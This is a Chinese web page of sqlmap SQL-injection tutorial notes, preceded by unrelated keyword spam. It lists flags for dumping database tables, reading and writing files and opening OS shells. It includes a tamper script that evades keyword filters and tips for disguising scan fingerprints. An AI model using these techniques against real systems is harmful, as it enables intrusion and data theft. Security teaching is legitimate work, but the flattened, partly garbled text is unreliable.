自己做的网站视频播放不了,广州网络营销,网站留言板模版,茂名企业网站开发演示案例#xff1a; 数据猜解-库表列数据字典权限操作-文件命令交互式提交方法-POSTHEADJSON绕过模块-Tamper脚本-使用开发分析拓展-代理调试指纹风险等级 #参考#xff1a;
https://www.cnblogs.com/bmjoker/p/9326258.… 演示案例 数据猜解-库表列数据字典权限操作-文件命令交互式提交方法-POSTHEADJSON绕过模块-Tamper脚本-使用开发分析拓展-代理调试指纹风险等级 #参考
https://www.cnblogs.com/bmjoker/p/9326258.html#数据猜解-库表列数据字典
测试http://vulnweb.com/
--current-db
--tables -D
--columns -T -D
--dump -C -C -T #权限操作-文件命令交互式
测试MYSQL高权限注入
引出权限
--is-dba --privileges
引出文件
--file-read --file-write --file-dest
引出命令
--os-cmd --os-shell --sql-shell#提交方法-POSTHEADJSON
测试Post Cookie Json
--data
--cookie
-r 1.txt#绕过模块-Tamper脚本-使用开发
测试base64注入 有过滤的注入
--tamperbase64encode.py
--tampertest.py
from lib.core.enums import PRIORITY__priority__ PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):if payload: payload payload.replace(SELECT,sElEct)payload payload.replace(OR,Or)payload payload.replace(AND,And)payload payload.replace(SLEEP,SleeP)payload payload.replace(ELT,Elt)return payload#分析拓展-代理调试指纹风险等级
1、后期分析调试
-v(0-6) #详细的等级(0-6)
--proxy http://xx:xx #代理注入2、打乱默认指纹
--user-agent #自定义user-agent
--random-agent #随机user-agent
--time-sec(2,5) #延迟响应默认为53、使用更多的测试测试Header注入
--level(1-5) #要执行的测试水平等级默认为1
--risk(0-3) #测试执行的风险等级默认为1 涉及资源 补充涉及录像课件资源软件包资料等下载地址
